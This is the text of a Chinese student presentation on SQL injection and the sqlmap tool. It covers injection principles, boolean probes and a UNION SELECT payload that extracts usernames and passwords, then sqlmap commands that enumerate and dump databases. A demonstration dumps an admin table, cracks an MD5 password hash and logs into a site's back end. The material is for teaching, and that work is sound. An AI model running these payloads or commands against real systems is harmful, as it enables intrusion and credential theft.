SQL注入+sqlmap使用.pptVIP

LOGO SQL注入与sqlmap使用 主讲：裴建民 小组成员： 喜成斌、朱孝超、裴建民 第二小组 Contents 注入的基本原理 1 注入类型 2 sqlmap的基本使用 3 演示 4 SQL注入 SQL注入简介 拼接的SQL字符串改变了设计者原来的意图，执行了如泄露、改变数据等操作，甚至控制数据库服务器 拼接SQL字符串灵活方便，但是容易导致安全问题 SQL注入 SQL注入原理 /test.php?id=47 /php?id=47 and 1=1 /test.php?id=47 and 1=2 SQL注入利用 利用示例 /news_main.php?id=47 select * from news where id=$id select * from news where id=0 union select name,pw from users SQL注入分类 按数据提交方式 post get cookie 按数据库类型 最常见的两类：php+mysql、asp+access 网址url后面带XXX.php就是apeach服务器，一般和mysql数据库搭配 网址url后面带XXX.asp就是iis服务器，一般和access数据库搭配 asp+orecal一般用于数据量比较大的网站。 sqlmap使用 sqlmap常用命令 sqlmap.py -u url --dbs //爆数据库 sqlmap.py -u url --current-db //爆当前库 sqlmap.py -u url --current-user //爆当前用户 sqlmap.py -u url --users 查看用户权限 sqlmap.py -u url --tables -D 数据库 //爆表段 sqlmap.py -u url --columns -T 表段 -D 数据库 //爆字段 sqlmap.py -u url --dump -C 字段 -T 表段 -D 数据库 //猜解 sqlmap.py -u url --dump --start=1 --stop=3 -C 字段 -T 表段 -D 数据库 //猜解1到3的字段 sqlmap使用 sqlmap.py -u /news_detail.asp?id=87 sqlmap使用 access 数据库直接爆表名 sqlmap.py -u /news_detail.asp?id=87 --tables sqlmap使用 找到管理员表表名,爆列名 sqlmap -u Sqlmap -u /news_detail.asp?id=87 --columns -T admin_user sqlmap使用 猜解管理员账号密码 sqlmap -u /news_detail.asp?id=87 --dump -C admin,password -T admin_user sqlmap使用 admin d71fd34592b393a1b97ec90b0f80287a 破解cmd5后为admin123 登录后台/admin sqlmap使用 sqlmap命令参考 /content/13/0325/10273758404.shtml 工具只是辅助，前提是要明白工具的原理 LOGO